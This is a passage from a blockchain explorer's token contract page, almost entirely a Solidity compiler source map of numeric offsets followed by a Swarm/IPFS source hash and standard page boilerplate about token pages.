:13;;;;;;;;;;;;;;;;;;;;;;;;;8479:14;8462:31;8446:47;;8511:8;8504:15;;;8362:165;;;;:::o;10312:786::-;6555:4;6546:6;;:13;;;;;;;;;;;;;;;;;;10405:21:::1;10443:1;10429:16;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;10405:40;;10474:4;10456;10461:1;10456:7;;;;;;;;:::i;:::-;;;;;;;:23;;;;;;;;;::::0;::::1;10500:10;;;;;;;;;;;:15;;;:17;;;;;;;;;;;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;10490:4;10495:1;10490:7;;;;;;;;:::i;:::-;;;;;;;:27;;;;;;;;;::::0;::::1;10585:17;10534:11;:26;10554:4;10534:26;;;;;;;;;;;;;;;:47;10569:10;;;;;;;;;;;10534:47;;;;;;;;;;;;;;;;:68;10530:168;;10669:17;10619:11;:26;10639:4;10619:26;;;;;;;;;;;;;;;:47;10654:10;;;;;;;;;;;10619:47;;;;;;;;;;;;;;;:67;;;;10530:168;10714:10;;;;;;;;;;;:61;;;10790:20;10825:1;10841:4;10868;10888:15;10714:200;;;;;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;::::0;::::1;;;;;;;;;;;;;;;;10710:247;;10939:7;;;10710:247;10967:12;11019:1:::0;10995:21:::1;:25;10992:98;;;11035:16;;;;;;;;;;;:21;;11064;11035:55;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;11022:68;;;;;10992:98;10384:714;;6570:1;6591:5:::0;6582:6;;:14;;;;;;;;;;;;;;;;;;10312:786;:::o;5438:153::-;5507:7;5577:6;5542:16;;;;;;;;;;;5535:34;;;5570:3;5535:39;;;;;;;;;;;;;;;:::i;:::-;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;;:::i;:::-;:48;;;;:::i;:::-;5528:55;;5438:153;;;;:::o;9558:746::-;9638:7;9658:11;9672:1;9658:15;;9688:6;9684:26;;;5979:1;9697:13;;9684:26;9732:1;9725:3;:8;9721:28;;9743:6;9736:13;;;;;9721:28;9763:17;6029:3;9792;9783:6;:12;;;;:::i;:::-;:30;;;;:::i;:::-;9763:50;;9840:1;9828:9;:13;9824:437;;;9858:18;6131:3;6080:1;9879:6;:16;;;;:::i;:::-;:34;;;;:::i;:::-;9858:55;;9954:9;9928:7;:22;9944:4;9928:22;;;;;;;;;;;;;;;;:35;;;;;;;:::i;:::-;;;;;;;;10006:4;9983:40;;9992:4;9983:40;;;10013:9;9983:40;;;;;;:::i;:::-;;;;;;;;10056:1;10043:10;:14;10040:210;;;10104:10;10078:7;:22;10094:4;10078:22;;;;;;;;;;;;;;;;:36;;;;;;;:::i;:::-;;;;;;;;10159:10;10133:7;:22;6406:42;10133:22;;;;;;;;;;;;;;;;:36;;;;;;;:::i;:::-;;;;;;;;6406:42;10193:41;;10210:4;10193:41;;;10223:10;10193:41;;;;;;:::i;:::-;;;;;;;;10040:210;9843:418;9824:437;10287:9;10278:6;:18;;;;:::i;:::-;10271:25;;;;9558:746;;;;;;:::o;7:126:1:-;44:7;84:42;77:5;73:54;62:65;;7:126;;;:::o;139:96::-;176:7;205:24;223:5;205:24;:::i;:::-;194:35;;139:96;;;:::o;241:118::-;328:24;346:5;328:24;:::i;:::-;323:3;316:37;241:118;;:::o;365:222::-;458:4;496:2;485:9;481:18;473:26;;509:71;577:1;566:9;562:17;553:6;509:71;:::i;:::-;365:222;;;;:::o;593:77::-;630:7;659:5;648:16;;593:77;;;:::o;676:118::-;763:24;781:5;763:24;:::i;:::-;758:3;751:37;676:118;;:::o;800:222::-;893:4;931:2;920:9;916:18;908:26;;944:71;1012:1;1001:9;997:17;988:6;944:71;:::i;:::-;800:222;;;;:::o;1028:99::-;1080:6;1114:5;1108:12;1098:22;;1028:99;;;:::o;1133:169::-;1217:11;1251:6;1246:3;1239:19;1291:4;1286:3;1282:14;1267:29;;1133:169;;;;:::o;1308:246::-;1389:1;1399:113;1413:6;1410:1;1407:13;1399:113;;;1498:1;1493:3;1489:11;1483:18;1479:1;1474:3;1470:11;1463:39;1435:2;1432:1;1428:10;1423:15;;1399:113;;;1546:1;1537:6;1532:3;1528:16;1521:27;1370:184;1308:246;;;:::o;1560:102::-;1601:6;1652:2;1648:7;1643:2;1636:5;1632:14;1628:28;1618:38;;1560:102;;;:::o;1668:377::-;1756:3;1784:39;1817:5;1784:39;:::i;:::-;1839:71;1903:6;1898:3;1839:71;:::i;:::-;1832:78;;1919:65;1977:6;1972:3;1965:4;1958:5;1954:16;1919:65;:::i;:::-;2009:29;2031:6;2009:29;:::i;:::-;2004:3;2000:39;1993:46;;1760:285;1668:377;;;;:::o;2051:313::-;2164:4;2202:2;2191:9;2187:18;2179:26;;2251:9;2245:4;2241:20;2237:1;2226:9;2222:17;2215:47;2279:78;2352:4;2343:6;2279:78;:::i;:::-;2271:86;;2051:313;;;;:::o;2451:117::-;2560:1;2557;2550:12;2697:122;2770:24;2788:5;2770:24;:::i;:::-;2763:5;2760:35;2750:63;;2809:1;2806;2799:12;2750:63;2697:122;:::o;2825:139::-;2871:5;2909:6;2896:20;2887:29;;2925:33;2952:5;2925:33;:::i;:::-;2825:139;;;;:::o;2970:122::-;3043:24;3061:5;3043:24;:::i;:::-;3036:5;3033:35;3023:63;;3082:1;3079;3072:12;3023:63;2970:122;:::o;3098:139::-;3144:5;3182:6;3169:20;3160:29;;3198:33;3225:5;3198:33;:::i;:::-;3098:139;;;;:::o;3243:474::-;3311:6;3319;3368:2;3356:9;3347:7;3343:23;3339:32;3336:119;;;3374:79;;:::i;:::-;3336:119;3494:1;3519:53;3564:7;3555:6;3544:9;3540:22;3519:53;:::i;:::-;3509:63;;3465:117;3621:2;3647:53;3692:7;3683:6;3672:9;3668:22;3647:53;:::i;:::-;3637:63;;3592:118;3243:474;;;;;:::o;3723:90::-;3757:7;3800:5;3793:13;3786:21;3775:32;;3723:90;;;:::o;3819:109::-;3900:21;3915:5;3900:21;:::i;:::-;3895:3;3888:34;3819:109;;:::o;3934:210::-;4021:4;4059:2;4048:9;4044:18;4036:26;;4072:65;4134:1;4123:9;4119:17;4110:6;4072:65;:::i;:::-;3934:210;;;;:::o;4150:619::-;4227:6;4235;4243;4292:2;4280:9;4271:7;4267:23;4263:32;4260:119;;;4298:79;;:::i;:::-;4260:119;4418:1;4443:53;4488:7;4479:6;4468:9;4464:22;4443:53;:::i;:::-;4433:63;;4389:117;4545:2;4571:53;4616:7;4607:6;4596:9;4592:22;4571:53;:::i;:::-;4561:63;;4516:118;4673:2;4699:53;4744:7;4735:6;4724:9;4720:22;4699:53;:::i;:::-;4689:63;;4644:118;4150:619;;;;;:::o;4775:329::-;4834:6;4883:2;4871:9;4862:7;4858:23;4854:32;4851:119;;;4889:79;;:::i;:::-;4851:119;5009:1;5034:53;5079:7;5070:6;5059:9;5055:22;5034:53;:::i;:::-;5024:63;;4980:117;4775:329;;;;:::o;5110:86::-;5145:7;5185:4;5178:5;5174:16;5163:27;;5110:86;;;:::o;5202:112::-;5285:22;5301:5;5285:22;:::i;:::-;5280:3;5273:35;5202:112;;:::o;5320:214::-;5409:4;5447:2;5436:9;5432:18;5424:26;;5460:67;5524:1;5513:9;5509:17;5500:6;5460:67;:::i;:::-;5320:214;;;;:::o;5540:329::-;5599:6;5648:2;5636:9;5627:7;5623:23;5619:32;5616:119;;;5654:79;;:::i;:::-;5616:119;5774:1;5799:53;5844:7;5835:6;5824:9;5820:22;5799:53;:::i;:::-;5789:63;;5745:117;5540:329;;;;:::o;5875:60::-;5903:3;5924:5;5917:12;;5875:60;;;:::o;5941:142::-;5991:9;6024:53;6042:34;6051:24;6069:5;6051:24;:::i;:::-;6042:34;:::i;:::-;6024:53;:::i;:::-;6011:66;;5941:142;;;:::o;6089:126::-;6139:9;6172:37;6203:5;6172:37;:::i;:::-;6159:50;;6089:126;;;:::o;6221:143::-;6288:9;6321:37;6352:5;6321:37;:::i;:::-;6308:50;;6221:143;;;:::o;6370:165::-;6474:54;6522:5;6474:54;:::i;:::-;6469:3;6462:67;6370:165;;:::o;6541:256::-;6651:4;6689:2;6678:9;6674:18;6666:26;;6702:88;6787:1;6776:9;6772:17;6763:6;6702:88;:::i;:::-;6541:256;;;;:::o;6803:474::-;6871:6;6879;6928:2;6916:9;6907:7;6903:23;6899:32;6896:119;;;6934:79;;:::i;:::-;6896:119;7054:1;7079:53;7124:7;7115:6;7104:9;7100:22;7079:53;:::i;:::-;7069:63;;7025:117;7181:2;7207:53;7252:7;7243:6;7232:9;7228:22;7207:53;:::i;:::-;7197:63;;7152:118;6803:474;;;;;:::o;7283:180::-;7331:77;7328:1;7321:88;7428:4;7425:1;7418:15;7452:4;7449:1;7442:15;7469:194;7509:4;7529:20;7547:1;7529:20;:::i;:::-;7524:25;;7563:20;7581:1;7563:20;:::i;:::-;7558:25;;7607:1;7604;7600:9;7592:17;;7631:1;7625:4;7622:11;7619:37;;;7636:18;;:::i;:::-;7619:37;7469:194;;;;:::o;7669:182::-;7809:34;7805:1;7797:6;7793:14;7786:58;7669:182;:::o;7857:366::-;7999:3;8020:67;8084:2;8079:3;8020:67;:::i;:::-;8013:74;;8096:93;8185:3;8096:93;:::i;:::-;8214:2;8209:3;8205:12;8198:19;;7857:366;;;:::o;8229:419::-;8395:4;8433:2;8422:9;8418:18;8410:26;;8482:9;8476:4;8472:20;8468:1;8457:9;8453:17;8446:47;8510:131;8636:4;8510:131;:::i;:::-;8502:139;;8229:419;;;:::o;8654:176::-;8794:28;8790:1;8782:6;8778:14;8771:52;8654:176;:::o;8836:366::-;8978:3;8999:67;9063:2;9058:3;8999:67;:::i;:::-;8992:74;;9075:93;9164:3;9075:93;:::i;:::-;9193:2;9188:3;9184:12;9177:19;;8836:366;;;:::o;9208:419::-;9374:4;9412:2;9401:9;9397:18;9389:26;;9461:9;9455:4;9451:20;9447:1;9436:9;9432:17;9425:47;9489:131;9615:4;9489:131;:::i;:::-;9481:139;;9208:419;;;:::o;9633:225::-;9773:34;9769:1;9761:6;9757:14;9750:58;9842:8;9837:2;9829:6;9825:15;9818:33;9633:225;:::o;9864:366::-;10006:3;10027:67;10091:2;10086:3;10027:67;:::i;:::-;10020:74;;10103:93;10192:3;10103:93;:::i;:::-;10221:2;10216:3;10212:12;10205:19;;9864:366;;;:::o;10236:419::-;10402:4;10440:2;10429:9;10425:18;10417:26;;10489:9;10483:4;10479:20;10475:1;10464:9;10460:17;10453:47;10517:131;10643:4;10517:131;:::i;:::-;10509:139;;10236:419;;;:::o;10661:169::-;10801:21;10797:1;10789:6;10785:14;10778:45;10661:169;:::o;10836:366::-;10978:3;10999:67;11063:2;11058:3;10999:67;:::i;:::-;10992:74;;11075:93;11164:3;11075:93;:::i;:::-;11193:2;11188:3;11184:12;11177:19;;10836:366;;;:::o;11208:419::-;11374:4;11412:2;11401:9;11397:18;11389:26;;11461:9;11455:4;11451:20;11447:1;11436:9;11432:17;11425:47;11489:131;11615:4;11489:131;:::i;:::-;11481:139;;11208:419;;;:::o;11633:222::-;11773:34;11769:1;11761:6;11757:14;11750:58;11842:5;11837:2;11829:6;11825:15;11818:30;11633:222;:::o;11861:366::-;12003:3;12024:67;12088:2;12083:3;12024:67;:::i;:::-;12017:74;;12100:93;12189:3;12100:93;:::i;:::-;12218:2;12213:3;12209:12;12202:19;;11861:366;;;:::o;12233:419::-;12399:4;12437:2;12426:9;12422:18;12414:26;;12486:9;12480:4;12476:20;12472:1;12461:9;12457:17;12450:47;12514:131;12640:4;12514:131;:::i;:::-;12506:139;;12233:419;;;:::o;12658:224::-;12798:34;12794:1;12786:6;12782:14;12775:58;12867:7;12862:2;12854:6;12850:15;12843:32;12658:224;:::o;12888:366::-;13030:3;13051:67;13115:2;13110:3;13051:67;:::i;:::-;13044:74;;13127:93;13216:3;13127:93;:::i;:::-;13245:2;13240:3;13236:12;13229:19;;12888:366;;;:::o;13260:419::-;13426:4;13464:2;13453:9;13449:18;13441:26;;13513:9;13507:4;13503:20;13499:1;13488:9;13484:17;13477:47;13541:131;13667:4;13541:131;:::i;:::-;13533:139;;13260:419;;;:::o;13685:228::-;13825:34;13821:1;13813:6;13809:14;13802:58;13894:11;13889:2;13881:6;13877:15;13870:36;13685:228;:::o;13919:366::-;14061:3;14082:67;14146:2;14141:3;14082:67;:::i;:::-;14075:74;;14158:93;14247:3;14158:93;:::i;:::-;14276:2;14271:3;14267:12;14260:19;;13919:366;;;:::o;14291:419::-;14457:4;14495:2;14484:9;14480:18;14472:26;;14544:9;14538:4;14534:20;14530:1;14519:9;14515:17;14508:47;14572:131;14698:4;14572:131;:::i;:::-;14564:139;;14291:419;;;:::o;14716:191::-;14756:3;14775:20;14793:1;14775:20;:::i;:::-;14770:25;;14809:20;14827:1;14809:20;:::i;:::-;14804:25;;14852:1;14849;14845:9;14838:16;;14873:3;14870:1;14867:10;14864:36;;;14880:18;;:::i;:::-;14864:36;14716:191;;;;:::o;14913:180::-;14961:77;14958:1;14951:88;15058:4;15055:1;15048:15;15082:4;15079:1;15072:15;15099:180;15147:77;15144:1;15137:88;15244:4;15241:1;15234:15;15268:4;15265:1;15258:15;15285:143;15342:5;15373:6;15367:13;15358:22;;15389:33;15416:5;15389:33;:::i;:::-;15285:143;;;;:::o;15434:351::-;15504:6;15553:2;15541:9;15532:7;15528:23;15524:32;15521:119;;;15559:79;;:::i;:::-;15521:119;15679:1;15704:64;15760:7;15751:6;15740:9;15736:22;15704:64;:::i;:::-;15694:74;;15650:128;15434:351;;;;:::o;15791:85::-;15836:7;15865:5;15854:16;;15791:85;;;:::o;15882:158::-;15940:9;15973:61;15991:42;16000:32;16026:5;16000:32;:::i;:::-;15991:42;:::i;:::-;15973:61;:::i;:::-;15960:74;;15882:158;;;:::o;16046:147::-;16141:45;16180:5;16141:45;:::i;:::-;16136:3;16129:58;16046:147;;:::o;16199:114::-;16266:6;16300:5;16294:12;16284:22;;16199:114;;;:::o;16319:184::-;16418:11;16452:6;16447:3;16440:19;16492:4;16487:3;16483:14;16468:29;;16319:184;;;;:::o;16509:132::-;16576:4;16599:3;16591:11;;16629:4;16624:3;16620:14;16612:22;;16509:132;;;:::o;16647:108::-;16724:24;16742:5;16724:24;:::i;:::-;16719:3;16712:37;16647:108;;:::o;16761:179::-;16830:10;16851:46;16893:3;16885:6;16851:46;:::i;:::-;16929:4;16924:3;16920:14;16906:28;;16761:179;;;;:::o;16946:113::-;17016:4;17048;17043:3;17039:14;17031:22;;16946:113;;;:::o;17095:732::-;17214:3;17243:54;17291:5;17243:54;:::i;:::-;17313:86;17392:6;17387:3;17313:86;:::i;:::-;17306:93;;17423:56;17473:5;17423:56;:::i;:::-;17502:7;17533:1;17518:284;17543:6;17540:1;17537:13;17518:284;;;17619:6;17613:13;17646:63;17705:3;17690:13;17646:63;:::i;:::-;17639:70;;17732:60;17785:6;17732:60;:::i;:::-;17722:70;;17578:224;17565:1;17562;17558:9;17553:14;;17518:284;;;17522:14;17818:3;17811:10;;17219:608;;;17095:732;;;;:::o;17833:831::-;18096:4;18134:3;18123:9;18119:19;18111:27;;18148:71;18216:1;18205:9;18201:17;18192:6;18148:71;:::i;:::-;18229:80;18305:2;18294:9;18290:18;18281:6;18229:80;:::i;:::-;18356:9;18350:4;18346:20;18341:2;18330:9;18326:18;18319:48;18384:108;18487:4;18478:6;18384:108;:::i;:::-;18376:116;;18502:72;18570:2;18559:9;18555:18;18546:6;18502:72;:::i;:::-;18584:73;18652:3;18641:9;18637:19;18628:6;18584:73;:::i;:::-;17833:831;;;;;;;;:::o;18670:147::-;18771:11;18808:3;18793:18;;18670:147;;;;:::o;18823:114::-;;:::o;18943:398::-;19102:3;19123:83;19204:1;19199:3;19123:83;:::i;:::-;19116:90;;19215:93;19304:3;19215:93;:::i;:::-;19333:1;19328:3;19324:11;19317:18;;18943:398;;;:::o;19347:379::-;19531:3;19553:147;19696:3;19553:147;:::i;:::-;19546:154;;19717:3;19710:10;;19347:379;;;:::o;19732:143::-;19789:5;19820:6;19814:13;19805:22;;19836:33;19863:5;19836:33;:::i;:::-;19732:143;;;;:::o;19881:351::-;19951:6;20000:2;19988:9;19979:7;19975:23;19971:32;19968:119;;;20006:79;;:::i;:::-;19968:119;20126:1;20151:64;20207:7;20198:6;20187:9;20183:22;20151:64;:::i;:::-;20141:74;;20097:128;19881:351;;;;:::o;20238:410::-;20278:7;20301:20;20319:1;20301:20;:::i;:::-;20296:25;;20335:20;20353:1;20335:20;:::i;:::-;20330:25;;20390:1;20387;20383:9;20412:30;20430:11;20412:30;:::i;:::-;20401:41;;20591:1;20582:7;20578:15;20575:1;20572:22;20552:1;20545:9;20525:83;20502:139;;20621:18;;:::i;:::-;20502:139;20286:362;20238:410;;;;:::o;20654:180::-;20702:77;20699:1;20692:88;20799:4;20796:1;20789:15;20823:4;20820:1;20813:15;20840:185;20880:1;20897:20;20915:1;20897:20;:::i;:::-;20892:25;;20931:20;20949:1;20931:20;:::i;:::-;20926:25;;20970:1;20960:35;;20975:18;;:::i;:::-;20960:35;21017:1;21014;21010:9;21005:14;;20840:185;;;;:::o

Swarm Source

ipfs://1642d297fa4ee4b4fd3be2f0e2420fcd6b6cea7e7bbdeea8d959f497af0e4f79
Loading...
Loading
Loading...
Loading
[ Download: CSV Export  ]
[ Download: CSV Export  ]

A token is a representation of an on-chain or off-chain asset. The token page shows information such as price, total supply, holders, transfers and social links. Learn more about this page in our Knowledge Base.